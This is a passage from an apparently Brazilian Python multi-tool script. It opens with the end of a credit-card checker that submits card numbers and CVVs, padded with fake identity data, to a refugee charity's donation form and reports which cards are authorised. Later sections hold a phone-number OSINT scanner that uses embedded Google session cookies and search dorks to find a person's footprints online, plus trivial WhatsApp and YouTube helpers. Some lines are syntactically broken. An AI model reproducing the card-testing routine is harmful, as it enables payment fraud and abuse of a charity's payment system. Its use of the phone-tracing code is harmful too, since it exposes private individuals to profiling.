741 pessoa['results'][0]['name']['first'] + '&LASTNAME=' + pessoa['results'][0]['name'][
742 'last'] + '&EMAIL=' + email.replace('@',
743 '%40') + '&GENDER=' + gender + '&CUSTOM_KEY_1=birthdate&CUSTOM_KEY_2=device&CUSTOM_VALUE_1=' + \
744 pessoa['results'][0]['dob']['date'][0:10].replace('/',
745 '%2F') + '&CUSTOM_VALUE_2=Mobile&GIFT_CUSTOM_KEY_1=birthdate&GIFT_CUSTOM_KEY_2=device&GIFT_CUSTOM_KEY_3=entrypoint&GIFT_CUSTOM_VALUE_1=' + \
746 pessoa['results'][0]['dob']['date'][0:10].replace('/',
747 '%2F') + '&GIFT_CUSTOM_VALUE_2=Mobile&GIFT_CUSTOM_VALUE_3=%2Facnur%2Fdonate.html&STREET=' + \
748 pessoa['results'][0]['location']['street']['name'].replace(' ',
749 '+') + '&STREET2=' + Centro + '&CITY=' + \
750 pessoa['results'][0]['location']['city'].replace(' ', '+') + '&STATE=' + pessoa(
751 ['results'][0]['location']['state']) + '&ZIP=' + str(
752 pessoa['results'][0]['location']['postcode']) + '-000' + '&COUNTRY=' + data[
753 'country'] + '&PHONENUM=%2811%29+98765-4321&CCTYPE=' + tipo + '%2F' + data[
754 'scheme'] + '&ACCT=' + cc + '&NAME=' + nome.replace(' ', '+') + '&CVV2=' + cvv
755 RS = requests.request('POST', donate, headers=h, data=data).url
756 if RS == 'https://doar.acnur.org/acnur/agradecimento.html':
757 print(f'{C}[{G}i{C}] Pagamento autorizado!')
758 else:
759 RS = RS.split('=')[3]
760 if RS == 'REFUSED_PAYMENT':
761 print(f'{C}[{R}ERROR{C}] Transação recusada.')
762 elif RS == 'DATA_INVALID':
763 print(f'{C}[{R}ERROR{C}] Cartão invalido.')
764 elif RS == 'FAIL_UNKNOWN':
765 print(f'{C}[{R}ERROR{C}] Erro Desconhecido ({R}possivel uso de cartao de Debito{C}).')
766 elif RS == 'ERROR_NETWORK':
767 print(f'{C}[{R}ERROR{C}] Erro de rede.')
768 elif RS == 'DATA_CARD_NOT_ALLOWED':
769 print(f'{C}[{R}ERROR{C}] Pagamento nao autorizado.')
770 elif RS == 'REFUSED_PROVIDER':
771 print(f'{C}[{R}ERROR{C}] Pagamento recusado pela {Y}{band}{C}.')
772 elif RS == 'REFUSED_BANK':
773 print('[{}ERROR{}] Recusado pelo {}{}{}.'.format(R, C, Y, banco.get('name'), C))
774 elif RS == 'DATA_MISSING':
775 print(f'{C}[{R}ERROR{C}] Algum dado faltando.')
776 else:
777 print(f'{C}[{R}ERROR{C}] Erro não listado.')
778 pausa = ('Pressione enter para retornar.')
779
780
781def gerarlinkwhats():
782 clear()
783 print(f'{C}{G}{result}{C}')
784 print(f'{C}[{G}i{C}] Digite o numero.')
785 num = input('===>')
786 print(f'{C}[{G}i{C}] Digite a mensagem.')
787 msg = input('===>')
788 url = 'https://api.whatsapp.com/send?phone=' + num + '&text=' + msg
789 print(f'{C}[{G}i{C}] URL gerada :' + url)
790 print(f'{C}[{Y}i{C}] Deseja gerar uma nova url?')
791 print(f'{C}[{G}1{C}] Sim')
792 print(f'{C}[{G}2{C}] Não')
793 choice = input('===>')
794 if choice == '1':
795 gerarlinkwhats()
796
797
798def youtube():
799 clear()
800 print(f'{C}{G}{result}{C}')
801 print(f'{C}[{G}i{C}] Selecione o modo de operação')
802 print(f'{C}[{G}1{C}] MP4')
803 print(f'{C}[{G}2{C}] MP3')
804 filetype = input('===>')
805 print(f'{C}[{G}i{C}] Informe a url do video')
806 url = input('===>')
807 clear()
808 print(f'{C}{G}{result}{C}')
809 print(f'{C}[{G}i{C}] Baixando...por favor aguarde')
810 if filetype == '1':
811 file = YouTube(url).streams.first()
812 file.download(output_path="downloads")
813 if filetype == '2':
814 file = YouTube(url)
815 final = file.streams.filter(only_audio=True).all()
816 final[0].download(output_path="downloads")
817 print(f'{C}[{G}i{C}] Video baixado.')
818 print()
819 print(f'{C}[{G}i{C}] Deseja baixar outro video?')
820 print(f'{C}[{G}1{C}] Sim')
821 print(f'{C}[{G}2{C}] Não')
822 choice = input('===>')
823 if choice == '1':
824 youtube()
825
826
827def consultatel():
828 print(f'{C}{G}{result}{C}')
829 print(f'O que deseja fazer?')
830 print(f'[{G}1{C}]Consultar operadora por numero')
831 print(f'[{G}2{C}]Phone infoga')
832 print(f'[{G}3{C}]Consulta completa[{G}GRATIS{C}] {C}[{R}OFF{C}]')
833 choi = input('===>')
834 if choi == '1' or choi == '01':
835 consultaoperadora()
836 elif choi == '2' or choi == '02':
837 phoneinfoga()
838 elif choi == '3' or choi == '03':
839 primenumero()
840 else:
841 print(f'{C}[{R}i{C}] Opção inválida')
842 time.sleep(3)
843
844
845def primenumero():
846 clear()
847 rekt()
848 pass
849 #print(f'{C}{G}{result}{C}')
850 #print(f'{C}[{G}i{C}] Digite o numero(ex: 219××××××××).')
851 #requiem = input('===> ')
852 #data = requests.get('vsfd hype/duality buscas, vou trocar e criptografar todas as api, quero ver pegar={}&reload='.format(requiem)).text
853 #a = data.replace('<label "control-label" for="formGroupExampleInput5">','').replace('</label>','').replace('<span "form-control-static" "formGroupExampleInput5">','').replace('<div "row form-group">','').replace('</br>','').replace('<br>','').replace('<div "col-6">','').replace('<div "col-4">','').replace('</span>','').replace('<a href="#" title="CONSULTADO"','').replace('name="LinkEvoPlus"','').replace('data-"003.920.678-54">','').replace('<i "fa fa-search"></i>','').replace('</a>','').replace('(sábado)','(sábado)').replace('(terça-feira)','(terça-feira)').replace('Data de Nascimento','Data de Nascimento:').replace('<div "col-2">','').replace('<div "col-10">','').replace('<div "title-block">','').replace('<style>','').replace('</style>','')
854 #for i in range(0,10):
855 #try:
856 #a = api.replace(f'<h3 "title"><i "fa fa-list-ul"></i> Resultado ({i} encontrados)</h3>','')
857 #except:
858 #pass
859 #print(a)
860
861 #print(f'{C}[{Y}i{C}] Deseja fazer uma nova consulta?')
862 #print('1.Sim')
863 #print('2.Não')
864 #OHNO = input("===>")
865 #if OHNO == '1' or OHNO == '01':
866 #primenumero()
867 #if OHNO == '2' or OHNO == '02':
868 #pass
869 #else:
870 #print(f'{C}[{R}i{C}] Opção inválida')
871 #time.sleep(3)
872
873
874def phoneinfoga():
875 uagent = ["Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14",
876 "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0",
877 "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
878 "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
879 "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7",
880 "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
881 "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
882 "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0"]
883
884 number = '' # Full number format; e.g: 3312345678
885 localNumber = '' # Local number format; e.g: 06 12 34 56 78
886 internationalNumber = '' # International number format; e.g: +33 6 12 34 56 78
887 numberCountryCode = '' # Dial code; e.g: 33
888 numberCountry = '' # Country; e.g: fr
889
890 googleAbuseToken = ''
891 customFormatting = ''
892
893 clear()
894
895 def search(req, stop):
896 global googleAbuseToken
897 global uagent
898 chosenUserAgent = random.choice(uagent)
899 reqSession = requests.Session()
900 headers = {
901 'User-Agent': chosenUserAgent,
902 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8',
903 'Accept-Language': 'pt-br,pt;q=0.5',
904 'Accept-Encoding': 'gzip,deflate',
905 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
906 'Keep-Alive': '115',
907 'Connection': 'keep-alive',
908 'Cache-Control': 'no-cache',
909 'Cookie': 'Cookie: CGIC=Ij90ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjg; CONSENT=YES+RE.fr+20150809-08-0; 1P_JAR=2018-11-28-14; NID=148=aSdSHJz71rufCokaUC93nH3H7lOb8E7BNezDWV-PyyiHTXqWK5Y5hsvj7IAzhZAK04- QNTXjYoLXVu_eiAJkiE46DlNn6JjjgCtY-7Fr0I4JaH-PZRb7WFgSTjiFqh0fw2cCWyN69DeP92dzMd572tQW2Z1gPwno3xuPrYC1T64wOud1DjZDhVAZkpk6UkBrU0PBcnLWL7YdL6IbEaCQlAI9BwaxoH_eywPVyS9V; SID=uAYeu3gT23GCz-ktdGInQuOSf-5SSzl3Plw11-CwsEYY0mqJLSiv7tFKeRpB_5iz8SH5lg.; HSID=AZmH_ctAfs0XbWOCJ; SSID=A0PcRJSylWIxJYTq_; APISID=HHB2bKfJ-2ZUL5-R/Ac0GK3qtM8EHkloNw; SAPISID=wQoxetHBpyo4pJKE/A2P6DUM9zGnStpIVt; SIDCC=ABtHo-EhFAa2AJrJIUgRGtRooWyVK0bAwiQ4UgDmKamfe88xOYBXM47FoL5oZaTxR3H-eOp7-rE; OTZ=4671861_52_52_123900_48_436380; OGPC=873035776-8:; OGP=-873035776:;'
910 }
911
912 try:
913 REQ = urlencode({'q': req})
914 URL = 'https://www.google.com/search?tbs=li:1&{}&gws_rd=ssl&gl=us '.format(
915 REQ)
916 r = reqSession.get(URL + googleAbuseToken, headers=headers)
917
918 while r.status_code != 200:
919 print(
920 '{}[{}ERROR{}] Você está temporariamente na lista negra da pesquisa do Google. Preencha o captcha no seguinte URL e copie / cole o conteúdo do cookie GOOGLE_ABUSE_EXEMPTION: {}'.format(
921 C, R, C, URL))
922 token = input('\nGOOGLE_ABUSE_EXEMPTION=')
923 googleAbuseToken = '&google_abuse=' + token
924 r = reqSession.get(URL + googleAbuseToken, headers=headers)
925
926 soup = BeautifulSoup(r.text, 'html5lib')
927
928 results = soup.find("div", id="search").find_all("div", class_="g")
929
930 links = []
931 counter = 0
932
933 for result in results:
934 counter += 1
935
936 if int(counter) > int(stop):
937 break
938
939 url = result.find("a").get('href')
940 url = re.sub(r'(?:\/url\?q\=)', '', url)
941 url = re.sub(r'(?:\/url\?url\=)', '', url)
942 url = re.sub(r'(?:\&sa\=)(?:.*)', '', url)
943 url = re.sub(r'(?:\&rct\=)(?:.*)', '', url)
944
945 if re.match(r"^(?:\/search\?q\=)", url) is not None:
946 url = 'https://google.com' + url
947
948 if url is not None:
949 links.append(url)
950
951 return links
952 except Exception as e:
953 print('{}[{}ERROR{}] O pedido falhou. Tente novamente.'.format(C, R, C))
954 print(e)
955 return []
956
957 def formatNumber(InputNumber):
958 return re.sub("(?:\+)?(?:[^[0-9]*)", "", InputNumber)
959
960 def localScan(InputNumber):
961 global number
962 global localNumber
963 global internationalNumber
964 global numberCountryCode
965 global numberCountry
966
967 print('{}[{}i{}] Executando verificação local...'.format(C, Y, C))
968
969 FormattedPhoneNumber = "+" + formatNumber(InputNumber)
970
971 try:
972 PhoneNumberObject = phonenumbers.parse(FormattedPhoneNumber, None)
973 except Exception as e:
974 return False
975 else:
976 if not phonenumbers.is_valid_number(PhoneNumberObject):
977 return False
978
979 number = phonenumbers.format_number(
980 PhoneNumberObject, phonenumbers.PhoneNumberFormat.E164).replace('+', '')
981 numberCountryCode = phonenumbers.format_number(
982 PhoneNumberObject, phonenumbers.PhoneNumberFormat.INTERNATIONAL).split(' ')[0]
983 numberCountry = phonenumbers.region_code_for_country_code(
984 int(numberCountryCode))
985
986 localNumber = phonenumbers.format_number(
987 PhoneNumberObject, phonenumbers.PhoneNumberFormat.E164).replace(numberCountryCode, '0')
988 internationalNumber = phonenumbers.format_number(
989 PhoneNumberObject, phonenumbers.PhoneNumberFormat.INTERNATIONAL)
990
991 country = geocoder.country_name_for_number(PhoneNumberObject, "en")
992 location = geocoder.description_for_number(PhoneNumberObject, "en")
993 carrierName = carrier.name_for_number(PhoneNumberObject, 'en')
994
995 print(f'Formato internacional:{B} {internationalNumber}')
996 print(f'Formato local:{B} 0 {localNumber}')
997 print(f'País: {B}{country} ({numberCountryCode})')
998 print(f'Cidade/Estado:{B} {location}')
999 print(f'Operadora:{B} {carrierName}')
1000 for timezoneResult in timezone.time_zones_for_number(PhoneNumberObject):
1001 print(f'Fuso horário:{B} {timezoneResult}')
1002
1003 if phonenumbers.is_possible_number(PhoneNumberObject):
1004 print('O número é válido e possível.')
1005 else:
1006 print('O número é válido, mas pode não ser possível.')
1007
1008 def numverifyScan():
1009 global number
1010 print('Executando scan com Numverify.com...')
1011
1012 try:
1013 requestSecret = ''
1014 resp = requests.get('https://numverify.com/')
1015 soup = BeautifulSoup(resp.text, "html5lib")
1016 except Exception as e:
1017 print('Numverify.com não está disponível')
1018 return -1
1019
1020 for tag in soup.find_all("input", type="hidden"):
1021 if tag['name'] == "scl_request_secret":
1022 requestSecret = tag['value']
1023 break
1024
1025 apiKey = hashlib.md5(('number' + 'requestSecret').encode('utf-8')).hexdigest()
1026
1027 headers = {
1028 'Host': 'numverify.com',
1029 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0',
1030 'Accept': 'application/json, text/javascript, /; q=0.01',
1031 'Accept-Encoding': 'gzip, deflate, br',
1032 'Referer': 'https://numverify.com/',
1033 'X-Requested-With': 'XMLHttpRequest',
1034 'DNT': '1',
1035 'Connection': 'keep-alive',
1036 'Pragma': 'no-cache',
1037 'Cache-Control': 'no-cache'
1038 }
1039 try:
1040 response = requests.request(
1041 "GET",
1042 "https://numverify.com/php_helper_scripts/phone_api.php?secret_key={}&number={}".format(apiKey, number),
1043 data="", headers=headers)
1044
1045 data = json.loads(response.content.decode('utf-8'))
1046 except Exception as e:
1047 print('Numverify.com não está disponível')
1048 return -1
1049
1050 if response.content == "Unauthorized" or response.status_code != 200:
1051 print(("{}[{}ERROR{}] Ocorreu um erro ao chamar a API (solicitação incorreta ou chave de API incorreta)."))
1052 return -1
1053
1054 if data["valid"] == False:
1055 print((
1056 "{}[{}ERROR{}] especifique um número de telefone válido. Exemplo: +5585999999999 (DDD país + DDD estado + número"))
1057 sys.exit()
1058
1059 InternationalNumber = '({}){}'.format(
1060 data["country_prefix"], data["local_format"])
1061
1062 print(
1063 f'Número:{B} ({data["country_prefix"]}) {data["local_format"]}')
1064 print(
1065 f'País:{B} {data["country_name"]} ({data["country_code"]})')
1066 print(f'Cidade/Estado:{B} {data["location"]}')
1067 print(f'Operadora: {B}{data["carrier"]}')
1068 print(f'Tipo de linha:{B} {data["line_type"]}')
1069
1070 if data["line_type"] == 'landline':
1071 print(("Provavelmente é um telefone fixo, mas ainda pode ser um número VoIP fixo."))
1072 elif data["line_type"] == 'mobile':
1073 print(("Provavelmente é um número de celular, mas ainda pode ser um número VoIP."))
1074
1075 def ovhScan():
1076 global localNumber
1077 global numberCountry
1078
1079 print('{}[{}ERROR{}]Executando OVH scan...'.format(C, R, C))
1080
1081 querystring = {"País": numberCountry.lower()}
1082
1083 headers = {
1084 'accept': "application/json",
1085 'cache-control': "no-cache"
1086 }
1087
1088 try:
1089 response = requests.request(
1090 "GET", "https://api.ovh.com/1.0/telephony/number/detailedZones", data="", headers=headers,
1091 params=querystring)
1092 data = json.loads(response.content.decode('utf-8'))
1093 except Exception as e:
1094 print('API OVH inacessível. Talvez tente novamente mais tarde.')
1095 return -1
1096
1097 if isinstance(data, list):
1098 askedNumber = "0" + localNumber.replace(localNumber[-4:], 'xxxx')
1099
1100 for voip_number in data:
1101 if voip_number['number'] == askedNumber:
1102 print(("1 resultado encontrado na base de dados OVH"))
1103 print(
1104 (f"Intervalo numérico:{B} {voip_number['number']}"))
1105 print((f"Cidade:{B} {voip_number['city']}"))
1106 print((
1107 f"Código postal: {B} {voip_number['zipCode'] if voip_number['zipCode'] is not None else askForExit()}"))
1108
1109 def replaceVariables(string):
1110 global number
1111 global internationalNumber
1112 global localNumber
1113
1114 string = string.replace('$n', number)
1115 string = string.replace('$i', internationalNumber)
1116 string = string.replace('$l', localNumber)
1117
1118 return string
1119
1120 def osintIndividualScan():
1121 global number
1122 global internationalNumber
1123 global numberCountryCode
1124 global customFormatting
1125
1126 dorks = json.load(open('osint/individuals.json'))
1127
1128 for dork in dorks:
1129 if dork['dialCode'] is None or dork['dialCode'] == numberCountryCode:
1130 if customFormatting:
1131 dorkRequest = replaceVariables(
1132 dork['request']) + ' | intext:"{}"'.format(customFormatting)
1133 else:
1134 dorkRequest = replaceVariables(dork['request'])
1135
1136 print(
1137 ("Procurando footprints em {}...".format(dork['site'])))
1138
1139 for result in search(dorkRequest, stop=dork['stop']):
1140 print(("URL: " + result))
1141 else:
1142 return -1
1143
1144 def osintReputationScan():
1145 global number
1146 global internationalNumber
1147 global customFormatting
1148
1149 dorks = json.load(open('osint/reputation.json'))
1150
1151 for dork in dorks:
1152 if customFormatting:
1153 dorkRequest = replaceVariables(
1154 dork['request']) + ' | intext:"{}"'.format(customFormatting)
1155 else:
1156 dorkRequest = replaceVariables(dork['request'])
1157
1158 print(("Procurando por {}...".format(dork['title'])))
1159 for result in search(dorkRequest, stop=dork['stop']):
1160 print(("URL: " + result))
1161
1162 def osintSocialMediaScan():
1163 global number
1164 global internationalNumber
1165 global customFormatting
1166
1167 dorks = json.load(open('osint/social_medias.json'))
1168
1169 for dork in dorks:
1170 if customFormatting:
1171 dorkRequest = replaceVariables(
1172 dork['request']) + ' | intext:"{}"'.format(customFormatting)
1173 else:
1174 dorkRequest = replaceVariables(dork['request'])
1175
1176 print(
1177 ("Procurando footprints em {}...".format(dork['site'])))
1178
1179 for result in search(dorkRequest, stop=dork['stop']):
1180 print(("URL: " + result))
1181
1182 def osintDisposableNumScan():
1183 global number
1184
1185 dorks = json.load(open('osint/disposable_num_providers.json'))
1186
1187 for dork in dorks:
1188 dorkRequest = replaceVariables(dork['request'])
1189
1190 print(
1191 ("Procurando footprints em {}...".format(dork['site'])))
1192
1193 for result in search(dorkRequest, stop=dork['stop']):
1194 print(("Result found: {}".format(dork['site'])))
1195 print(("URL: " + result))
1196 askForExit()
1197
1198 def osintScan(rerun=False):
1199 global number
1200 global localNumber
1201 global internationalNumber
1202 global numberCountryCode
1203 global customFormatting
1204
1205 print('Execução de reconhecimento de footprints OSINT...')
1206
1207 if not rerun:
1208 print(("Gerando scan URL em 411.com..."))
1209 print("Scan URL: https://www.411.com/phone/{}".format(
1210 internationalNumber.replace('+', '').replace(' ', '-')))
1211
1212 askingCustomPayload = input(
1213 'Você gostaria de usar um formato adicional para este número?[y/n] ')
1214
1215 if rerun or askingCustomPayload == 'y' or askingCustomPayload == 'yes':
1216 customFormatting = input('Custom format: ')
1217
1218 print(('Páginas Web footprints'))
1219
1220 print(("Pesquisando footprints em páginas da web... (limit=10)"))
1221 if customFormatting:
1222 req = '{} | intext:"{}" | intext:"{}" | intext:"{}"'.format(
1223 number, number, internationalNumber, customFormatting)
1224 else:
1225 req = '{} | intext:"{}" | intext:"{}"'.format(
1226 number, number, internationalNumber)
1227
1228 for result in search(req, stop=10):
1229 print(("Resultado encontrado: " + result))
1230
1231 print(("Procurando documentos... (limit=10)"))
1232 if customFormatting:
1233 req = '[ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv | ext:txt | ext:xls] && [intext:"{}"]'.format(
1234 customFormatting)
1235 else:
1236 req = '[ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv | ext:txt | ext:xls] && [intext:"{}" | intext:"{}"]'.format(
1237 internationalNumber, localNumber)
1238 for result in search(req, stop=10):
1239 print(("Resultado encontrado: " + result))
1240
1241 print(('Footprints de reputação...'))
1242
1243 osintReputationScan()
1244
1245 print(("Gerando URL em scamcallfighters.com..."))
1246 print(
1247 'http://www.scamcallfighters.com/search-phone-{}.html'.format(number))
1248
1249 tmpNumAsk = input(
1250 "Você gostaria de pesquisar footprints de provedores de números temporários?[y/n]")
1251
1252 if tmpNumAsk.lower() != 'n' and tmpNumAsk.lower() != 'no':
1253 print(('Footprints em provedores de números temporários'))
1254
1255 try:
1256 print(("Pesquisando número de telefone em tempophone.com..."))
1257 response = requests.request(
1258 "GET", "https://tempophone.com/api/v1/phones")
1259 data = json.loads(response.content.decode('utf-8'))
1260 for voip_number in data['objects']:
1261 if voip_number['phone'] == formatNumber(number):
1262 print(
1263 ("Encontrado um provedor de número temporário: tempophone.com"))
1264 askForExit()
1265 except Exception as e:
1266 print(("Não foi possível acessar a API tempophone.com. Pulando etapa..."))
1267
1268 osintDisposableNumScan()
1269
1270 print(('Footprints de mídia social'))
1271
1272 osintSocialMediaScan()
1273
1274 print(('Footprints de listas telefônicas'))
1275
1276 if numberCountryCode == '+1':
1277 print(("Gerando URL em TruePeopleSearch.com... "))
1278 print('https://www.truepeoplesearch.com/results?phoneno={}'.format(
1279 internationalNumber.replace(' ', '')))
1280
1281 osintIndividualScan()
1282
1283 retry_input = input(
1284 "Você gostaria de executar novamente a varredura OSINT? (por exemplo, para usar um formato diferente)[s/n]")
1285
1286 if retry_input.lower() == 'y' or retry_input.lower() == 'yes':
1287 osintScan(True)
1288 else:
1289 return -1
1290
1291 def askForExit():
1292 if not output:
1293 user_input = input("Continuar scanning?[y/n] ")
1294
1295 if user_input.lower() == 'y' or user_input.lower() == 'yes':
1296 return -1
1297 else:
1298
1299 sys.exit()
1300
1301 def scanNumber(InputNumber):
1302 global number
1303 global localNumber
1304 global internationalNumber
1305 global numberCountryCode
1306 global numberCountry
1307 clear()
1308 print(f"Buscando informações para{B} {formatNumber(InputNumber)}{C}...")
1309
1310 localScan(InputNumber)
1311
1312 if not 'number':
1313 print((f"Erro: o número{B}{formatNumber(InputNumber)}{C} inválido."))
1314 # again()
1315
1316 numverifyScan()
1317 ovhScan()
1318 osintScan()
1319
1320 print("Scan concluído.")
1321 # again()
1322
1323 # if not no_ansi and not output:
1324 # print(Style.RESET_ALL)
1325
1326 def download_file(url, target_path):
1327 response = requests.get(url, stream=True)
1328 handle = open(target_path, "wb")
1329 for chunk in response.iter_content(chunk_size=512):
1330 if chunk:
1331 handle.write(chunk)
1332
1333 osintFiles = [
1334 'disposable_num_providers.json',
1335 'individuals.json',
1336 'reputation.json',
1337 'social_medias.json'
1338 ]
1339
1340 def main():
1341
1342 requests.packages.urllib3.disable_warnings()
1343 requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += 'HIGH:!DH:!aNULL'
1344 try:
1345 requests.packages.urllib3.contrib.pyopenssl.DEFAULT_SSL_CIPHER_LIST += 'HIGH:!DH:!aNULL'
1346 except AttributeError:
1347 pass
1348
1349 number = input(f"{C}[{G}i{C}] Informe os números (sem espaços, parênteses e traço): {B}")
1350 scanNumber(number)
1351
1352 def again():
1353 again = input("\n" + f'{C}[{G}+{C}] Deseja realizar uma nova consulta?[{G}s{C}/{R}n{C}]: ')
1354 if again == "s" or again == "sim":
1355 clear()
1356 main()
1357 elif again == "nao" or again == "n":
1358 pass
1359
1360 main()
1361
1362
1363def nomemae():
1364 print(f'{C}{G}{result}{C}')
1365 print(f'{C}[{G}i{C}] Temporariamente Off')
1366 time.sleep(2)
1367 pass
1368